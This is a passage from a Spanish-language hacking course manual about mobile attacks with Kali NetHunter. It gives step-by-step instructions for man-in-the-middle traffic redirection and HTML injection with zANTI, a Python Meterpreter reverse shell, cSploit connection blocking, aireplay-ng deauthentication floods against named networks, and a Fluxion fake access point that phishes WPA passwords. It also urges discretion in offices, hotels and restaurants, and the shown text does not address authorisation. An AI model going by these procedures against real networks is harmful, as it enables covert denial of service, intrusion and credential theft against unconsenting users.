(Internet Control Message Protocol). Aquí es donde se seleccionará el tipo o técnica de
ataque Man in the Middle que se podrá realizar, el que se usa por defecto es el de tipo ARP,
en donde trabajará con el protocolo de resolucion de direcciones para hacer de esto la base
del ataque.
¿Cuál es la diferencia entre cada técnica?
El ataque de tipo ARP hace spoofing a la dirección MAC dentro de la red local. Es decir, la
máquina del atacante actúa como el dispositivo de destino y router al mismo tiempo
(cliente/servidor).
El ataque de tipo ICMP funciona mediante la suplantación de un mensaje de redirección ICMP
al router. El mensaje falsificado reencamina el tráfico de la víctima a través de un router
controlado por el atacante.

Imagen 7.1: Tipos de ataque MITM.

Redirección de trafico HTTP: Le permite re direccionar todo el tráfico HTTP a un sitio

determinado o a un servidor. Si se pone en uso esta función, re direccionará todo el tráfico
HTTP al URL que se especifique, en este caso se cambió el que bien por defecto (configuración
predeterminada) por el de https://www.hackingmexico.one

Pero si desea reenviar todo el tráfico a un sitio en particular, solo basta con pulsar en el icono
de configuración, en donde habrá un área para introducir una URL, ingresa una URL en el
campo y a continuación, vuelva a tocar en el icono de configuración para salirte del input. Una
vez hechas las configuraciones correspondientes. Pondremos el ataque en funcionamiento
presionando el botón de encendido. Lo que sucederá con esto es que mediante MITM de tipo
ARP haremos que el tráfico de los sitios con protocolo HTTP se redirección hacía el sitio que
queramos. Consulta las imágenes.
 Imagen 7.2 y 7.3: Re direccionamiento de Tráfico.

Si prestamos atención a la barra de notificaciones en el movil, podemos ver que zANTI muestra
un recuadro cada que tengamos un ataque MITM en acción, no pimporta el tipo, desde aquí
podemos combiar la configuracion inical del ataque o detenerlo.

Imagen 7.4: Notificación de ataque MITM.

Remplazo de imágenes: Una cosa más que se puede realizar durante un ataque MITM
mediante zANTI (y de otros modos también) es el remplazo de las imágenes en el sitio web
con protocolo HTTP que visite la victima involucrada en el ataque, estas pueden ser
remplazadas con cualquier imagen en todos los formatos (en ocasiones .GIF).
En las acciones de ataque MITM de zANTI se halla esta opción, solo basta con seleccionar el
host víctima y posteriormente la imagen que deseemos, en este caso se usará la que viene
precargada, habilitamos la opción e iniciamos el ataque:

Imagen 7.5, 7.6 y 7.7: Activación de modalidad de ataque y resultados.

Podemos notar que nuestra acción de ataque funciona, en 2 páginas distintas, así como
también podemos ver que el ataque se realiza hacia una PC y un movil, en este caso un
iPhone, solo basta con escoger el nuevo host en zANTI e iniciar el debido ataque hacia este.

Inserción de codigo HTML: Otra caracteristica que trae consigo zANTI, es que dentro de las
funcionalidades de ataques MITM podemos insertar codigo HTML en ciertas paginas a las
que la victima o host objetivo visite. Dentro del menú de configuracion para ataques MITM,
nos encontraremos con esta función, desde la cual escribiremos el codigo HTML que
buscamos ejecutar en el navegador ajeno de la victima del atque Man in the Middle, esta
funcion ya trae un pequeño código HTML que nos mostrará un mensaje acerca de zANTI.
Para editarlo solo basta con pulsar el botón del engrane y hacer los cambios que vayamos a
necesitar, para terminar se tiene que activar la funcion con el botón de encendido para
posteriormete iniciar el ataque. Lo que se obtendrá será un “Message Dialog” en el navegador
del equipo victima que visite una pagina con protocolo HTTP en este ejemplo fue “p0isoned
by: HackingMexico”, puedes ingresar el codigo HTML de tu elección. Consulta las imágenes.
 Imagen 7.8, 7.9 y 8.0: Inyección de código HTML.

NetHunter y Metasploit Framework.

Como ya se sabe, Metasploit es una herramienta bastante famosa que permite llevar a cabo
diferentes tareas de pentesting, desde la recolección de información de un host, hasta acciones
de explotación y post-explotación. Como es de esperarse, NetHunter trae consigo a esta
herramienta, cabe mencionar que no en su totalidad, es decir, la versión de Metasploit en
NetHunter no cuenta con todas las características que traería una distro para pentesting como
lo es Kali, Parrot OS o BackBox, por lo que algunas tareas de pentesting como esta
demostración se verán limitadas debido a esto en NetHunter.

Dentro del menú principal de NetHunter, nos encontramos con el Generador de Payloads de
Metasploit, que es una herramienta que automatiza la creación de payloads en distintos
lenguajes para que funcionen en diferentes plataformas. En el siguiente ejemplo se demostrará
el uso de esta función para lograr la obtención de shells interactivas sobre el equipo víctima.
Para poder realizar esto se requieren ciertos parámetros de configuración, como lo es el tipo
de payload, puerto y dirección IP en donde se creará el canal de comunicación
cliente/servidor, y por último las opciones del módulo, como lo son el tipo de payload y el
protocolo de comunicación.
 Imagen 8.1: Configuración de Payload de Python.

Teniendo todo listo, se hace una última revisión de la configuración y se genera el payload, al hacer
esto se abrirá una nueva terminal en donde se mostrará el proceso de compilación de este, en
donde se mostrarán los parámetros de configuración que se establecieron, así como el lugar donde
reside el payload:

Imagen 8.2: Proceso de compilación en terminal de NetHunter.

Terminada la compilación de del payload, vemos que el contenido se guardó en el directorio

“/sdcard/” dentro de “/root/”, en donde tendremos también un archivo de extensión .rc con el
mismo nombre del payload, este será un archivo que trabajará de forma síncrona con el
payload en formato .py. Este archivo .rc será el que configuremos en Metasploit, el cual
trabajará con un Handler, juntos estarán a la escucha de conexiones y ejecuciones de exploits
fuera del framework, en este caso nuestro payload que se ejecutará en la maquina víctima.
Como es de saberse, es recomendable iniciar el servicio de PostgreSQL, que es la base de
datos con la que trabaja Metasploit, esto se consigue ejecutando el comando “service
postgresql start”, es recomendable hacer esto en una terminal nueva.

Luego de eso, el payload tendrá que mandarse a llamar desde Metasploit y configurarlo para
que trabaje con un Listener de conexiones en la red y pueda arrojarnos la shell de
Meterpreter al momento de su ejecución. Para esto ejecutáremos el siguiente comando desde
dentro del directorio donde reside el payload: “msfconsole –q –r python-meterpreter-
staged-reverse-tcp-666.py”

En donde:

 msfconsole: Hace el llamado a la consola de Metasploit

 -q y –r: El primero hace uso del modo “quiet” o callado, sin que se tenga que mostrar
el banner de inicio, y el otro indica el uso de un “resource file”, aquí es donde
especificamos el script o payload generado.

Al hacer esto, se iniciará la consola de Metasploit y establecerá de forma automática la

configuración del payload para que trabaje en conjunto con el Listener de exploits y
conexiones:
 Imagen 8.3, 8.4 y 8.5: Configuración de Handler de conexiones y payload en
Metasploit

Hecho esto, solo se hace llegar el payload a la maquina víctima que está en el mismo segmento
de red que nosotros, en este caso se hizo la prueba con un Windows 10, en donde solo se
tendrá que ejecutar el script de Python.

Una vez conseguido esto, inmediatamente se formará el canal de comunicación entre

Cliente/servidor (Atacante/Victima) para poder interactuar con él desde Metasploit, en
donde se muestran detalles como lo son el tipo de payload, dirección IP, puerto e
identificador:

Imagen 8.8: Obtención de Shell de Meterpreter en equipo Ajeno.

 Ataques a redes Inalámbricas.
En muchos lugares ha habido un incremento de la dependencia de redes inalámbricas, con el
fin de los usuarios mantengan la conectividad de una forma más versátil. Las redes
inalámbricas pueden resultar bastante vulnerables si no se establecen los protocolos y
medidas de seguridad adecuadas, estos resultados pueden llevar desde degradar el servicio
hasta el robo de información sensible.

Como ya se sabe, Kali Linux y demás distribuciones de seguridad informática pueden ser
utilizadas para hacer testing hacia redes inalámbricas, lo mismo se puede conseguir con Kali
NetHunter, ya que este contiene herramientas para poder llevar a cabo este tipo de tareas con
una mejor movilidad y de una forma más discreta.

Habrá ocasiones en las que parte del trabajo de Pentesting, se tendrá que recorrer un área en
específico en búsqueda de redes inalámbricas para hacerles “Stress testing” (DoS), crackeo
de passwords y demás ataques.

Aquí es cuando una vez más aparece NetHunter, para poder usarlo en estos escenarios va a
ser necesaria un adaptador Wi-Fi inalámbrico y un cable tipo OTG para poder conectarlo a
nuestro móvil.

NOTA: No todas las antenas Wi-Fi externas se prestan para hacer este tipo de pruebas,
por lo tanto no son compatibles con las distros para pentesting incluida Kali/Kali
NetHunter, puesto a que no permiten la inyección de paquetes y no pueden hacer uso de
Modo Monitor, en la siguiente lista podrás encontrar las mejor antenas Wi-Fi externas para
ataques a redes inalámbricas:

 Alfa AWUS036NHA
 Alfa AWUS036NEH
 TP-Link TL-WN722N
Denegación de servicios (DoS) dentro y fuera de la red.
Teniendo como ventaja a nuestro Dispositivo con NetHunter, será mejor hacer de esta forma
el trabajo para mantener una discreción mayor en el lugar donde te encuentres, ya sea tu
oficina, escuela, la recepción de un hotel o tu restaurante preferido, en vez de usar una laptop
y asi evitar la atención que no estemos buscando.

Como se ha visto hasta ahora, se pueden llevar a cabo múltiples acciones de ataque desde
nuestro dispositivo Nexus, que es el que cuenta con distintas herramientas para hacer estos
ataques mediante vectores deferentes, aquí es donde entra otra herramienta, cSploit.
Disponible para la plataforma android, cSploit es un avanzado kit de herramientas bastante
completo que se usa para realizar ataques en distintas formas ofreciéndonos algo que es
demasiado útil al momento de llevar a cabo distintos ataques… portabilidad.

Gracias a cSploit podemos hacer una amplia variedad de ataques con mayor flexibilidad,
desde la recolección de información acerca de un Host en la red, hasta hacer denegación de
servicios y la obtención de sesiones interactivas sobre el host objetivo, los usos principales
de cSploit son:

 Enumeración de Hosts.

 Ataques Man in the Middle.

 Bloqueo de conexiones

 Encontrar vulnerabilidades.

 Realizar la búsqueda de exploits para explotar las vulnerabilidades encontradas.

 Colocación de Backdoors para acceso persistente.

 ¿Qué necesitarás para usar cSploit?
 Una red Wi-Fi a la que conectarse.
 Un objetivo que atacar.

La herramienta ya viene precargada junto con NetHunter, por lo que no será necesario
instalarla por nuestra cuenta. Si se desea instalar en un movil que no contenga Kali NetHunter
va a ser necesario lo siguiente:

 Que el dispositivo Android cuente con una version 2.3 o superior con ROOT.
 Se requerirá la instalación de SUPERSU, de lo contrario no funcionará.
 El dispositivo Android deberá contar con la instalación de BusyBox, con todas las
utilidades cargadas/instaladas para que funcionen junto con cSploit.

Imagen 8.9: cSploit en Android.

La suite de cSploit se pude descargar desde el siguiente link, en donde puedes encontrar
documentación relacionada: https://github.com/cSploit/android/
 1. DoS desde cSploit.

En las demostraciones anteriores de ataques Man in the Middle, pudimos llevar a cabo distintas
funciones de ataque como lo es el filtrar y manipular tráfico, hacer sniffing, etc. Sin embargo
algo que se puede conseguir después de haber hecho esta irrupción en el canal de
comunicación que nos permite actuar como MITM, lejos de hacer sniffing y monitoreo, se
puede hacer ataques de denegación de servicio o conseguir inhabilitar cierta comunicación.

Con cSploit podemos conseguir eso, gracias a su extensa variedad de funciones y acciones
de ataque es posible realizar el bloqueo de conexiones que realiza un host o equipo en la red
que nos encontremos. En el siguiente ejemplo se demostrará la eficacia para realizar el
bloqueo de la comunicación vía web en un host.

Teniendo instalado cSploit en nuestro movil y estando conectados a la red inalámbrica donde
se encuentra el host víctima, abrimos la suite y veremos que enumerará los host funcionales
(activos) en la red. En donde también nos muestra el Router al que estamos conectados y la
máscara de subred, así como los detalles de cada posible objetivo que esté enlistado, en este
caso seleccionaremos el que dice “USER”.

Imagen 9.0: Escaneo de la red por cSploit.

Algo que notaremos en la barra de notificaciones del movil, es que al momento de que abrimos
cSploit, comenzará una conexión con el servicio del demonio de Metasploit, esto se debe
a que la Suite trabaja en conjunto con el Framework de Metasploit que ya viene precargado
en el dispositivo, al terminar este proceso aparecerá una notificación indicando la conexión
exitosa de cSploit con el Framework:

Imagen 9.1 y 9.2: Status de Metasploit y panel de control de cSploit.

Metasploit cuenta con una útil característica llamada MSFRPCD. Esta proporciona acceso a
una instancia del Framework a través de una conexión RPC (Remote Procedure Call)
cSploit inicia esta llamada y conecta a él. Así cSploit podrá realizar la explotación de un cierto
Host y conseguir sesiones de control sobre el/los objetivos comprometidos.
Una vez que un host de destino ha sido comprometido, puede tomar el control con una shell,
dando por hecho que el objetivo es tuyo. Más adelante tocaremos ese tema.
Asi como otras herramientas, cSploit tiene opciones de configuración inicial antes de ponerse
en acción, como se ve en las imágenes, podemos buscar redes Wi-Fi, crear, guardar o
restaurar sesiones de trabajo, iniciar/detener el monitoreo de la red . Al igual que como lo vimos
con zANTI, es el mismo equipo que cuenta con 7 puertos abiertos, lo seleccionamos. Dentro
de este nuevo menú se enlistan todas las acciones de ataque y funciones que se pueden llevar
a cabo hacia este host, seleccionaremos la categoría de Man in the Middle.
Una vez dentro de esta categoría, se mostrará un nuevo panel que cuenta con las acciones
de ataque mediante MITM, desde aquí se pueden realizar diferentes tareas, como lo es el
sniffing y el re direccionamiento del tráfico no cifrado, DNS Spoofing, remplazó de
imágenes, Secuestro de sesiones no seguras, etc.

Aquí es donde seleccionaremos la opción “Bloqueador de conexiones”, lo que haremos con

esto será impedir que se establezca todo tipo de conexión con cualquier URL o sitio
web, denegando el acceso a Internet desde nuestro movil, al poner el ataque en función,
aparecerá una animación repetitiva en la opción seleccionada, si se quiere detener el ataque,
solo se presiona de nuevo.

Imagen 9.3: Inicio y detención de Bloqueador de Conexiones.

El resultado será el tal cual antes descrito, impidiendo la navegacion en el host objetivo, las
pruebas se realizaron visitando a Facebook, Gmail y Twitter, desde el Navegador Comodo
IceDragon versión 49.0.0
 Imagen 9.4: Acceso a internet impedido en host víctima.

Lo mismo funciona para los móviles, solo se selecciona el Host correspondiente en el listado
de objetivos detectados por cSploit.

La siguiente prueba se realizó hacía un iPhone con iOS 10.1.1, entrando a Google desde
Safari, además de que también deniega las conexiones que se intentan establecer desde
Apps, como lo es Facebook.

Consulta las imágenes.

Imagen 9.5 y 9.6: Fallo de conexión en aplicaciones móviles.

NOTA: Esta simple modalidad de ataque puede ser bastante util/perjudicial, ya que
puedes hacer un flooding en el Router dejando sin Internet a la red completa.
 2. Denegación de Servicios a un Access Point mediante NetHunter
Previamente se hicieron pruebas de denegación de servicios (DoS) mediante cSploit en donde
conseguimos dejar inhábil la conexión a internet por parte de un usuario dentro del mismo
segmento de red que nosotros.
Yendo algo más lejos, se puede conseguir lo mismo con una red inalámbrica o AP objetivo,
estableciendo el modo monitor en un adaptador inalámbrico dejando fuera por unos segundos
o más tiempo a un solo cliente o a todos si así lo queremos, desde Kali y demás distros se
puede hacer una extensa variedad de ataques de este tipo, y por supuesto también desde tu
movil con NetHunter.
¿Qué necesitarás?

 Cable OTG
 Tu dispositivo con NetHunter
 Tarjeta o adaptador red inalámbrico (Para esta demostración recomiendo una TP-Link
TL-WN722N)

Teniendo todo listo, conectaremos nuestra antena al movil mediante el cable OTG y abrimos
una nueva terminal de Kali.
Estando dentro lo primero que haremos será habilitar nuestra nueva interface de red, que
será “wlan1” iniciando el servicio de redes, ejecutaremos el primer comando que es: “service
networking start”:

Imagen 9.7: Inicio de servicio de Networking en NetHunter.

Hecho esto notaremos un patrón de encendido en nuestra tarjeta.

Esto nos indica que ya está en función esta interface de red y puede ser usada. Sabiendo
esto podremos ponerla en función de modo monitor, una forma de hacer esto es con el
comando “airmon-ng start wlan1”
Donde:

 airmon-ng start: Indica el uso de esta función por parte de Aircrack-ng

 wlan1: Es la interface que vamos a usar, que al igual que en muchos casos, “wlan1” es la
más común.

¿Qué es Airmon-ng?

Siendo una dependencia de Aircrack-ng, este script se utiliza para habilitar el modo monitor en
las interfaces inalámbricas, en este caso hablamos de nuestra antena externa. Al conseguir
esto, el sistema ahora nos proporcionará una interface identificadora para usar en modo
monitor, en este caso será wlan1mon.

Imagen 9.9: Modo monitor activado.

Seguido de esto haremos uso de Airodump-ng para poder encontrar Routers inalámbricos o
Access Points en el área.
Este es fue hecho con la finalidad de capturar paquetes de redes inalámbricas con estándar
802.11, permitiéndonos asi encontrar redes inalámbricas en el lugar, para hacer esto desde
nuestro movil con NetHunter ejecutáremos el comando “airdoump-ng wlan1mon”, para asi
ver los AP que puede encontrar nuestro adaptador externo.

Imagen 10.0: Identificación de redes con Airodump-ng.

Una vez que hayas encontrado la red objetivo, detienes el ataque con Ctrl + C y abrirás otra
terminal en el dispositivo, en esta nueva se hará uso de Aireplay-ng.

Esta es una herramienta de inyección de paquetes, lo que quiere decir que puede realizar una
variedad de ataques hacia redes inalámbricas, en este ejemplo se realizará el ataque hacia las
redes INFINITUMyjf4 y ARRIS-7992. En la nueva terminal se ejecutará el siguiente comando:
“aireplay-ng -0 15 -a (aquí va el BSSID) -e (Aquí va el ESSID) wlan1mon”.
Donde:

 aireplay-ng -0 15: Hace uso de la herramienta, estableciendo el tiempo que se quiere

dejar funcionando el proceso de des autenticación.
 -a: Dirección MAC de AP.
 -e: ESSID o nombre del AP.
 wlan1mon: Es la interface que está en modo monitor.

Imagen 10.1: Hosts Expulsados de la red Ajena.

¿Qué fue lo que sucedió? Mediante Aireplay-ng, hemos enviado frames de des autenticación
hacia el AP y a los clientes de este, como resultado expulsamos a todos los clientes que se
encontraban en la red por los 15 segundos que establecimos, aunque puedes aumentar la
duración del ataque por un tiempo mayor, sin embargo, el/los clientes podrán conectarse de
inmediato en cuanto paremos el ataque.
NOTA: Habrá ocasiones en las que la red objetivo estará operando en un canal distinto al de
nosotros, por lo que habrá que asignar dicho canal a la interface de red funcional.

Imagen 10.2: Selección de canal.

Una forma en la que
nos podemos percatar de esto es al momento de hacer el ataque DoS a dicha red, al hacerlo
mediante Aireplay-ng, este nos indicará que el BSSID especificado no está operando en el
mismo canal que nuestro dispositivo, por lo que se le tendrá que asignar un nuevo canal a
este.
Una manera de hacerlo es con el comando “iwconfig”, quedando asi: iwconfig wlan1mon0
channel 4

Donde:

 iwconfig wlan1mon0: Se indica la interface que tenemos en modo monitor.

 channel 4: El canal en el que opera el AP ajeno.

Hecho esto, se lanza de nuevo el ataque:

Imagen 10.3: Des autenticación de Hosts en red ajena.

 3. Obtención de Contraseñas WEP/WPA/WPA2.

WPA y WPA2 son dos algoritmos de seguridad diferentes que se utilizan para proteger las
redes inalámbricas. WPA utiliza TKIP, mientras que WPA2 utiliza tanto (TKIP y AES). Hoy en
día, los routers inalámbricos y Access Points usan un método rápido y sin problemas de
conexión a una red segura. El WPS es una característica que permite una fácil configuración
de redes seguras; sin embargo, este puede ser fácilmente crackeado u obtenido con las
herramientas adecuadas que tengamos en nuestra distro para pentesting.
Para esto WPA fue diseñado para reemplazar a WEP porque con el paso del tiempo se
descubrió que los errores de seguridad hacen que sea fácil de obtener acceso no autorizado
en cuestión de minutos. A pesar de que WPA y WPA2 son mucho más difíciles de crackear
o descifrar, es posible para romper la protección WPA y hasta el último algoritmo de cifrado
(WPA2).
En la siguiente demostración el uso de la fuerza bruta no será el vector de ataque como suele
serlo con muchas herramientas, ahora será el uso de un AP falso (Fake Honeypot) para la
obtención del password del AP legítimo, asi no tendremos que esperar horas para encontrar
este password de acceso a la red, solo bastará con la obtención de un handshake para
conseguir nuestro propósito, aquí es cuando aparece Fluxion.

¿Qué es y qué hace?

Fluxion es una herramienta que permite el crackeo u obtención de passwords de redes
inalámbricas mediante un ataque MITM un poco más completo y complejo de los que has visto
hasta ahora, algo que quizás notes es que Fluxion es un “remake” de “linset” (otra herramienta
para crackeo de redes), con la diferencia de que Fluxion es más estable y trae consigo nuevas
y mejores características, Fluxion hace el trabajo más rápido y limpio que muchas otras
herramientas, y por eso haremos uso de el en la siguiente demostración.
¿Qué necesitarás para este ataque?

 Un adaptador de red inalámbrico que sea capaz de realizar la inyección de paquetes, en

esta demostración se usará la antena TP-LINK TL-WN722N.

Para hacer uso de Fluxion desde NetHunter, debemos iniciarlo desde su directorio raíz, este
se encuentra en “/root/fluxion/”, y desde ahí instalarlo inicializarlo mediante el comando.
NOTA: Fluxion ya viene instalado en el dispositivo Nexus 6 proporcionado para el curso, si
deseas realizar la instalación en tu movil con NetHunter sigue los siguientes pasos.
1. MUY IMPORTANTE: Tu distro de NetHunter debe estar actualizada, ya que Fluxión
utiliza varias dependencias que no se hallan en la distro de NetHunter, no basta con
tener la última versión de esta, si no tener todos los “metapackages” actualizados, por
esto es importante tener los repositorios de Kali actualizados. Estos se hallan en el
archivo “sources.list” dentro del directorio “/etc/apt/”, hoy en día se usan los siguientes
repositorios, por lo que el siguiente contenido se debe hallar en el archivo, viéndose así:

deb http://http.kali.org/kali kali-rolling main contrib non-free

# For source package access, uncomment the following line
# deb-src http://http.kali.org/kali kali-rolling main contrib non-free

Imagen 10.4: REPOSITORIOS DE KALI.

2. Teniendo los repositorios correctos, es momento de poner al día el contenido de

NetHunter, esto se hace mediante el comando “apt-get update”, al ejecutarlo se
descargará e instalará el contenido necesario para que NetHunter se actualice.

Si al ejecutarlo aparecen errores sobre los enlaces de consulta y descarga, podemos

ejecutar el comando “apt-get update --fix-missing” para darle solución. Si los
problemas persisten, lo más recomendable es desinstalar CHROOT e instalarlo de
nuevo, este se encuentra en el menú de NetHunter, esto casi siempre arregla este tipo
de problemas, la nueva descarga e instalación de CHROOT tomará alrededor de 20 min,
al finalizarla, será necesario reiniciar el teléfono.

Imagen 10.5: Remoción de CHROOT.

3. Al reiniciarse ejecutamos de nuevo el comando “apt-get update”, para que se lleve a
cabo esta actualización, esta tomará de 15 a 20 min, dependiendo la velocidad de
internet en lugar, durante la actualización se pedirá la autorización de ciertas
instalaciones, la otorgaremos, al finalizar esta actualización, desde el nuevo CHROOT,
desde la opción “ADD METAPACKAGES” instalaremos un par de grupos de
“metapackages”.
Estos serán los de “kali-linux-nethunter” y “kali-linux-wireless”, el primero contendrá
cosas adicionales para la distro, y el segundo contendrá las herramientas y
dependencias para que trabajen en conjunto con Fluxion, teniendo seleccionados estos
2 solamente, hacemos clic en “Install & update”, esta otra instalación tomará de 10 a
15 min, al finalizarla tendremos lo necesario para poder instalar y usar Fluxion en
NetHunter:

Imagen 10.6: Meta-paquetes a instalar

4. Descargaremos al movil la herramienta, solo basta con escribir el comando y pegar el

siguiente enlace seguido Ahora sigue la descarga de Fluxion, para esto abriremos una
nueva terminal y mediante el siguiente comando:
git clone https://github.com/deltaxflux/fluxion.git”, lo que hará esto será crear un
directorio en “/root/” con el nombre de Fluxion, donde estará la descarga que
acabamos de hacer.
Teniendo todo listo, será necesario hacer uso del VNC Manager o VNC Server de
NetHunter, ya que Fluxion necesita un entorno gráfico en donde ejecutarse, esto se debe
a que hace uso de “xterms”, y estas no funcionan en la terminal convencional que hemos
utilizado hasta ahora. Por eso utilizaremos un básico entorno gráfico de Kali con el que
cuenta NetHunter.
Este necesita ser configurado antes de usarse, para esto navegamos al menú de
NetHunter y seleccionamos “VNC Manager”, lo primero que se tienen que hacer es
establecer un server, esto es con el botón “Start Server”, en donde se abrirá una terminal
nueva y solo se tendrá que configurar un password para este server, el password queda
a criterio tuyo:
 Imagen 10.7: Botón de inicio de servidor VNC.

Al terminar eso, la terminal se cerrará en 5 segundos, esto es parte del proceso de

configuración, después de eso volvemos a la ventana del VNC e ingresamos el password
que establecimos en la terminal, dejamos lo demás como está y hacemos clic en “Open
Connection”:

Imagen 10.8, 10.9 y 11.0: Configuración e inicio de servidor VNC,

5. Luciendo así el entorno gráfico de Kali, abriremos una terminal en este, esta se puede
ubicar en la parte inferior de la pantalla en este nuevo panel:

Imagen 11.1: Terminal en VNC Server.

 6. Para hacer zoom y poder usar el teclado se usan estos 3 botones:

Imagen 11.2: Botones de Zoom y Teclado.

7. Puesto que podemos llevar a cabo las mismas acciones por línea de comandos tanto en
este entorno gráfico como en el común, podemos acceder a los mismos directorios,
dentro de la terminal navegamos hacia el directorio “/root/fluxion/”, en donde reside la
herramienta. Dentro ejecutamos el comando “bash Installer.sh”, este inciará la
instalación de Fluxion en NetHunter, solo basta con esperar a que termine.
8. Al finalizar, conectaremos nuestra antena inalámbrica al movil mediante el cable OTG,
hecho eso entramos al directorio de nuevo y ejecutamos Fluxion de esta forma
“./fluxion”, al hacerlo, hará el Checking de las dependencias necesarias para su uso, y
ya podremos usarlo:

Imagen 11.3: Directorio de Fluxion en Kali NetHunter por VNC server.

Ahora que hemos finalizado la instalación, aparecerá un cuadro de dialogo en donde

especifican que no se hará mal uso de Fluxion ni tampoco el realizar ataques hacia redes
ajenas, tendremos que aceptar este mensaje para poder continuar, así que le presionamos
“Ok”.

Al aceptar nos aparecerá un menú en el que seleccionaremos el lenguaje de nuestra

preferencia, luego de ello aparecerá otro menú en donde tendremos que escoger la interface
de red que se usará (nuestro adaptador inalámbrico), lo seleccionamos usando la opción 2,
en este caso se trata de “wlan1”:

Imagen 11.4: Selección de interface de red en Fluxion.

Seguido de esto tendremos que especificar si se quiere buscar redes en un canal en
específico o en todos, es recomendable hacer siempre la búsqueda en todos los canales,
por lo que seleccionaremos la primera opción, al hacerlo aparecerá una nueva ventana “xterm”
nombrada “WIFI o WIFI Monitor” en donde nuestra antena enviará tramas de sondeo para
hallar Access Points:

Imagen 11.5 y 11.6: Selección de canales e identificación de redes.

En esta nueva ventana se mostrarán los AP hallados en el área por la antena, mostrando en
columnas su BSSID, Intensidad de señal, Beacons, Canal, Tipo de Protección, y nombre
de cada uno. Este proceso de “Search & Find” no se detendrá hasta que se cierre la ventana,
por eso la cerraremos después de identificar la red objetivo para poder continuar en Fluxion.
Volviendo a él veremos estos mismos datos de nuevo, con la diferencia de que aquí se
muestran los AP o redes que muestran actividad (con clientes conectados),
diferenciándose con un asterisco al final de estas, aquí seleccionaremos la red víctima:

Imagen 11.7: Selección de red objetivo.

Teniendo escogida la red, aparecerá otro menú en donde seleccionaremos el vector de ataque
a usar, además de mostrar los detalles que previamente vimos acerca de la red, en este caso
usaremos a opción nombrada “Fake AP – Hostapd”.

Luego de esto tendremos que especificar en donde se va a guardar el file con extensión “.cap”
que contendrá el o los “Handshakes” que se obtengan durante el ataque para usarlos en un
futuro si asi se decide, en este caso dejaremos vacío este campo, puesto que aún no tenemos
estos “Handshakes”:

Imagen 11.8 y 11.9: Selección de opción de ataque y directorio predeterminado.

Luego de lo anterior, se tendrá que seleccionar un método de revisión o “Checking” de los

“Handshakes” que se vayan obteniendo, aquí seleccionaremos a “Pyrit” ya que realiza el
trabajo más rápido que otros debido a su código, en donde nos permite obtener ciertas fases
de autenticación en un tiempo más corto, luego de esto se tendrá que seleccionar el método
o herramienta para la des autenticación de clientes, aquí seleccionaremos a “mdk3”, que
previamente usamos y entendimos como funciona, aquí en Fluxion su acción esta
automatizada:
 Imagen 12.0 y 12.1: Selección de opción y método de obtención de Handshake.

Al seleccionar esto, comenzará el ataque de expulsión de clientes en la red objetivo, esto con
el fin de que se conecten de nuevo ya sea de forma automática o voluntaria y así obtener el
“Handshake”, notarás que de las ventanas abiertas habrá una donde se muestra el monitoreo
y captura de “Handshakes” y otra donde se lleva a cabo el ataque “deauth”, esto con el fin de
darle continuidad a la obtención de “Handshakes”:

Imagen 12.2: Handshake obtenido y ataque DoS por mdk3.

Una vez conseguido el “Handshake” volvemos al panel de Fluxion y seleccionamos la acción

de “Chequear Handshake” para hacer la validación de este. Es posible que estos salgan
“Corruptos” (inservibles) al momento del “Checking”, lo recomendable es esperar a obtener
más o comenzar el ataque de nuevo desde el comienzo. Si el “Handshake” obtenido es válido,
se mostrará un menú nuevo en donde escogeremos si queremos crear un certificado SSL o
usar uno existente, crearemos uno seleccionando la primera opción. Esto se hace con la
finalidad de personificar un portal falso y asi se le proporcione mayor fidelidad a nuestra acción
de ataque, mostrando asi un “Fake Login” al momento de conectarse al AP falso.
 Imagen 12.3 y 12.4: Chequeo de Handshake y creación de certificado SSL..

Al terminar de crearse el certificado SSL, tendremos que seleccionar el método de obtención

del password de la red, como es de saberse, vamos a crear un AP Falso, por lo que tendremos
que usar un vector de ataque mediante ingeniería social, por lo que escogeremos la opción de
“Web Interface” que será lo que nos permitirá hacer uso del portal falso.

Al seleccionarla, aparecerá un listado con múltiples interfaces web en diferentes idiomas,

seleccionaremos el de nuestra preferencia, para este ejemplo se usó la opción 5:

Imagen 12.5 y 12.6: Selección de método de captura de password y página de Loggeo.

Al seleccionar la interfaz web, se ocultará la red víctima y se creará un Access Point Falso con
el nombre de la red objetivo, seguido de esto comenzarán varios procesos, entre ellos un FAKE
DNS, en donde todo el tráfico que esté fluyendo por el AP falso será redirigido a nuestro movil
mostrándolo en la terminal donde corre este proceso.
También tenemos un Filtro DHCP, este va a capturar todas las solicitudes o “requests” que
provengan por parte del dispositivo o dispositivos conectados al Access Point, así como
también tenemos una terminal en donde se muestra información a detalle a cerca del AP Falso
que creamos, y los clientes (dispositivos) que están conectados a él, en este caso se ha
conectado intencionalmente un dispositivo iOS al Fake AP, por lo que las ventanas o
terminales muestran información relevante a ello:
 Imágenes 12.7, 12.8, 12.9 y 13.0: Paneles de trabajo de Fluxion.

De lado del movil del cliente (sea un dispositivo Android o iOS) al mostrar las redes
inalámbricas disponibles notaremos que ha desaparecido el identificador de red segura para
la red legítima y se mostrará como abierta, este es nuestro Access Point Falso, al
seleccionarlo se abrirá un panel que contendrá el “Fake Login”.

En este portal falso en donde se ingresará la contraseña del AP legítimo. Al crearse este Fake
AP, se mostrará como una red abierta, por lo que al conectarse a ella aparece el “Banner” de
“Recomendación de Seguridad” (en Android no es así)

Imagen 13.1 y 13.2: Acceso Point Falso en IOS Y Android.

Una vez que el cliente/los clientes víctima intenten conectarse a la red, se les mostrará el “Fake
Login” que está trabajando en conjunto con el certificado SSL antes creado, dentro de este
sitio falso o “Scam” se les pedirá el password para poder hacer uso de la red Wi-Fi.

Una vez proporcionado el password de la red, se mostrará un nuevo recuadro de espera,

mientras tanto en el movil, mediante la conexión al AP Legítimo Fluxion hará un rápido
“Checking” del password para verificar si este es correcto, si lo es, detendrá el ataque de
inmediato y revivirá el AP legítimo para que la víctima o el cliente se conecten en ese mismo
momento, de lo contrario, si no es el password correcto se seguirá pidiendo:
 Imagen 13.3 y 13.4: Envío de password mediante portal falso.

Al ingresarse el password correcto y terminado el proceso anterior, en Kali veremos que ha

aparecido una nueva ventana nombrada “Wifi Information” en donde aparece la clave
WPA/WPA2 de la red legítima:

Imagen 13.5: Password visualizado después del envío en el portal falso.

Así como también el directorio del archivo de salida o “output” donde se guardan el o los
passwords de la redes crackeadas, el cual es “/root/”NombreDeLaRed -password.txt”:

Imagen 13.6: Password guardados de redes Hackeadas.

Habiendo terminado todo, podemos detener y cerrar Fluxion, este al cerrarse, establece la
configuración previa antes de ser usado o ponerse en marcha, devolviendo los valores
anteriores a varios parámetros de configuración y dejando las interfaces de red tal cual
antes de haber sido inicializado:
